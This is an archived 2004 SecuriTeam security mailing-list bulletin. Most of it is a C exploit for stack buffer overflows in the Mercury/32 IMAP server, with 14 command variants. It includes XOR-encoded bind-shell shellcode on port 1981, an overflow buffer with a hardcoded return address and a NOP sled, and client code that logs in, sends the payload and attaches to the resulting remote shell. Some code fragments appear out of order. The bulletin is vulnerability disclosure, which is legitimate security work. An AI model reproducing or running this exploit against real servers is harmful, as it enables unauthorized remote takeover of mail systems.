

[EXPL] Mercury/32 Exploit Code (14 Targets)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0089.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/27/04

To: list@securiteam.com

Date: 27 Dec 2004 10:18:52 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Mercury/32 Exploit Code (14 Targets)

SUMMARY

<http://www.pmail.com/overviews/ovw_mercwin.htm> Mercury (or Mercury/32 as it is known) "runs on Windows 95, 98, NT4, 2000 or XP workstations and provides mail services to a single computer or a local area network. In addition the product has a full fledged IMAP4 server providing remote IMAP access to your local mailboxes". More information can be found at: <<http://www.securiteam.com/exploits/6M0020AC0W.html>> Mercury/32 RENAME and SELECT Exploit Codes

The following exploit code is for Mercury/32's buffer overflows with 14 different targets (EXAMINE, SUBSCRIBE, STATUS, APPEND, CHECK, CLOSE, EXPUNGE, FETCH, RENAME, DELETE, LIST, SEARCH, CREATE, UNSUBSCRIBE and SELECT).

DETAILS

/** Remote Mercury32 Imap exploit [14 types of attacks] WOW!

** By: JohnH@secnetops.com

**

** Notes: Second public release and both of them are murcury32 ;)

** Again someone posted some dos code :(why bother?

** If you spent the time to look, it uses the same buffer for all 14

Securiteam: [EXPL] Mercury/32 Exploit Code (14 Targets)

types of attacks and the size does not

** change. I did not check the asm but its prob using the same routine
for all 14 commands.

**

** Date: 12/01/04

**/

```
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>

#define version "1.0"
int usage(char *p);

char sc_bind[] =
//decoder
"\xEB\x0F\x5B\x80\x33\x96\x43\x81\x3B\x45\x59\x34\x53\x75\xF4\x74"
"\x05\xE8\xEC\xFF\xFF\xFF"
//sc_bind_1981 for 2k/xp/2003 v1.03.10.09 by ey4s
//XOR with 0x96 (267 0x10B bytes)
"\x7E\xB2\x96\x96\x96\x22\xEB\x83\x0E\x5D\xD4\xE1\x2E\x4A\x4B\x8C"
"\xA5\x7F\x2D\x55\x38\x50\xBD\x2B\xB8\x48\xC1\xE4\x32\xB2\x24\xA4"
"\x96\x98\xCB\x5D\x48\xE2\xB4\xF5\x5E\xC9\xFC\xA6\xCD\xF2\x1D\x95"
"\x1D\xD6\x9A\x1D\xE6\x8A\x3B\x1D\xFE\x9E\xFC\x92\xCF\x7E\x12\x96"
"\x96\x96\x74\x6F\x23\x95\xBD\x77\xFE\xA5\xA4\x96\x96\xFE\xE1\xE5"
"\xA4\xC9\xC2\x69\xC1\x6E\x03\xFC\x93\xCF\x7E\xF1\x96\x96\x96\x74"
"\x6F\x1D\x61\xC7\xFE\x94\x96\x91\x2B\x1D\x7A\xC7\xC7\xC7\xFC"
"\x97\xFC\x94\x69\xC0\x66\x05\xFC\x86\xC3\xC5\x69\xC0\x62\xC6\xC5"
"\x69\xC0\x6E\x1D\x6A\xFC\x98\xCF\x3D\x74\x6B\xC6\xC6\xC5\x69\xC0"
"\x6A\x3D\x3D\x3D\xF0\x51\xD2\xB2\xBA\x97\x97\x1D\x42\xFE\xF5\xFB"
"\xF2\x96\x1D\x5A\xC5\xC6\xC1\xC4\xA5\x4D\xC5\xC5\xC5\xFC\x97\xC5"
"\xC5\xC7\xC5\x69\xC0\x76\xFC\x69\x69\xA1\x69\xC0\x4A\x69\xC0\x7A"
"\x69\xC0\x7A\x69\xC0\x7E\xC7\x1D\xE3\xAA\x1D\xE2\xB8\xEE\x95\x63"
"\xC0\x1D\xE0\xB6\x95\x63\xA5\x5F\xDF\xD7\x3B\x95\x53\xA5\x4D\xA5"
"\x44\x99\x28\x86\xAC\x40\xE2\x9E\x57\x5D\x8D\x95\x4C\xD6\x7D\x79"
"\xAD\x89\xE3\x73\xC8\x1D\xC8\xB2\x95\x4B\xF0\x1D\x9A\xDD\x1D\xC8"
"\x8A\x95\x4B\x1D\x92\x1D\x95\x53\x3D\xCF\x55"
//decoder end sign
"\x45\x59\x34\x53";
```

Securiteam: [EXPL] Mercury/32 Exploit Code (14 Targets)

```
int type;
int iPort=143;
char *ip=NULL;
char username[256];
char password[256];

int main(int argc, char **argv)
{
    int c;

    if(argc < 2)
    {
        usage(argv[0]);
        return 0;
    }

    while((c = getopt(argc, argv, "u:P:h:p:t:")) != EOF) {
        switch(c) {

            case 'u':
                strncpy(username, optarg, sizeof (username) - 1);
                break;

            case 'P':
                strncpy(password, optarg, sizeof (password) - 1);
                break;

            case 'h':
                ip=optarg;
                break;
            case 'p':
                iPort=atoi(optarg);
                break;
            case 't':
                type=atoi(optarg);
                break;
        default:
            usage (argv[0]);
            return 0;
        }
    }

    if(!ip)
    {
        usage(argv[0]);
        printf("[+] Invalid parameter.\n");
        return 0;
    }

    SendExploit();
    return 0;
}
```

Securiteam: [EXPL] Mercury/32 Exploit Code (14 Targets)

```
}

/* ripped from TESO code */
void shell (int sock)
{
    int l;
    char buf[512];
    fd_set rfd;

    while (1) {
        FD_SET (0, &rfd);
        FD_SET (sock, &rfd);
        select (sock + 1, &rfd, NULL, NULL, NULL);
        if (FD_ISSET (0, &rfd)) {
            l = read (0, buf, sizeof (buf));
            if (l <= 0) {
                printf("\n - Connection closed by local user\n");
                exit (EXIT_FAILURE);
            }
            write (sock, buf, l);
        }

        if (FD_ISSET (sock, &rfd)) {
            l = read (sock, buf, sizeof (buf));
            if (l == 0) {
                printf ("\n - Connection closed by remote host.\n");
                exit (EXIT_FAILURE);
            } else if (l < 0) {
                printf ("\n - Read failure\n");
                exit (EXIT_FAILURE);
            }
            write (1, buf, l);
        }
    }
}

int SendExploit()
{
    struct hostent *he;
    struct in_addr in;
    struct sockaddr_in peer;
    int iErr, s,s2;
    int x;
    char buffer[9000];
    char buffer2[9000];
    char szRecvBuff[0x1000];
    char *ip2=NULL;

    printf( "MERCURY32 Imap exploit\n");
    printf( "By: JohnH at secnetops\n");
    printf("[+] Entering God Mode\n");
}
```

Securiteam: [EXPL] Mercury/32 Exploit Code (14 Targets)

```
// Login
memset(buffer2,0x0,sizeof(buffer2));
strcat(buffer2,"a001 LOGIN ");
strcat(buffer2,username);
strcat(buffer2," ");
strcat(buffer2,password);
strcat(buffer2,"\n");

bzero (buffer,sizeof(buffer));
printf("[+] Using type: %d\n",type);
if (type == 0)
    strcat(buffer,"a001 EXAMINE ");
else if(type == 1)
    strcat(buffer,"a001 SUBSCRIBE ");
else if(type == 2)
    strcat(buffer,"a001 STATUS ");
else if(type == 3)
    strcat(buffer,"a001 APPEND ");
else if(type == 4)
    strcat(buffer,"a001 CHECK ");
else if(type == 5)
    strcat(buffer,"a001 CLOSE ");
else if(type == 6)
    strcat(buffer,"a001 EXPUNGE ");
else if(type == 7)
    strcat(buffer,"a001 FETCH ");
else if(type == 8)
    strcat(buffer,"a001 RENAME ");
else if(type == 9)
    strcat(buffer,"a001 DELETE ");
else if(type == 10)
    strcat(buffer,"a001 LIST ");
else if(type == 11)
    strcat(buffer,"a001 SEARCH ");
else if(type == 12)
    strcat(buffer,"a001 CREATE ");
else if(type == 13)
    strcat(buffer,"a001 UNSUBSCRIBE ");
else if(type == 14)
    strcat(buffer,"a001 SELECT ");

x = strlen(buffer);
memset(buffer+x,0x41,260);
x+=260;
*(unsigned int *)&buffer[x] = 0x01f9c8fa;
x+=4;
memset(buffer+x,0x90,100);
x+=100;
memcpy (buffer+x, sc_bind, strlen(sc_bind));
x+=strlen(sc_bind);
memcpy(buffer+x,"\r\n",2);
```

Securiteam: [EXPL] Mercury/32 Exploit Code (14 Targets)

```
x+=2;

if (!(he = gethostbyname(ip)))
{
    perror("Resolving host");
    exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
peer.sin_family = AF_INET;
peer.sin_port = htons(iPort);
peer.sin_addr.s_addr = inet_addr(ip);
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
    perror("socket");
    return(0);
}
if (connect(s, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) <
0)

{
    perror("connect");
    return(0);
}
printf("[+] connect to %s:%d success.\n", ip, iPort);
sleep(3);

memset(szRecvBuff, 0, sizeof(szRecvBuff));
iErr = send(s, buffer2, strlen(buffer2),0);
printf("[+] Sent: %d\n", iErr);

iErr = send(s, buffer, x,0);

printf("[+] Sent: %d\n", iErr);

printf("[+] Wait for shell.\n");
if (!(he = gethostbyname(ip)))
{
    perror("Resolving host");
    exit(EXIT_FAILURE);
}
in.s_addr = *((unsigned int *)he->h_addr);
ip2 = in.s_addr;

sleep(5);
peer.sin_family = AF_INET;
peer.sin_port = htons(1981);
peer.sin_addr.s_addr = ip2;
s2 = socket(AF_INET, SOCK_STREAM, 0);
if (s2 < 0)
{
```

Securiteam: [EXPL] Mercury/32 Exploit Code (14 Targets)

```
    perror("socket");
    exit(EXIT_FAILURE);
}

if (connect(s2, (struct sockaddr *)&peer, sizeof(struct sockaddr_in))
< 0)
{
    perror("connect");
    return(0);
}
printf("[+] We got a shell \n");

shell(s2);

return 0;

}

int usage(char *p)
{
    printf("MERCURY32 Imap Remote Exploit\n");
    printf("By: JohnH@secnetops.com\n");
    printf("Usage: %s <-u username> <-p password> <-h host> <-p port> <-t
type>\n",p);
    printf("Possible types: Look in source code too lazy to type out 14
types\n");
    exit(0);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:JohnH@secnetops.com> JohnH.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.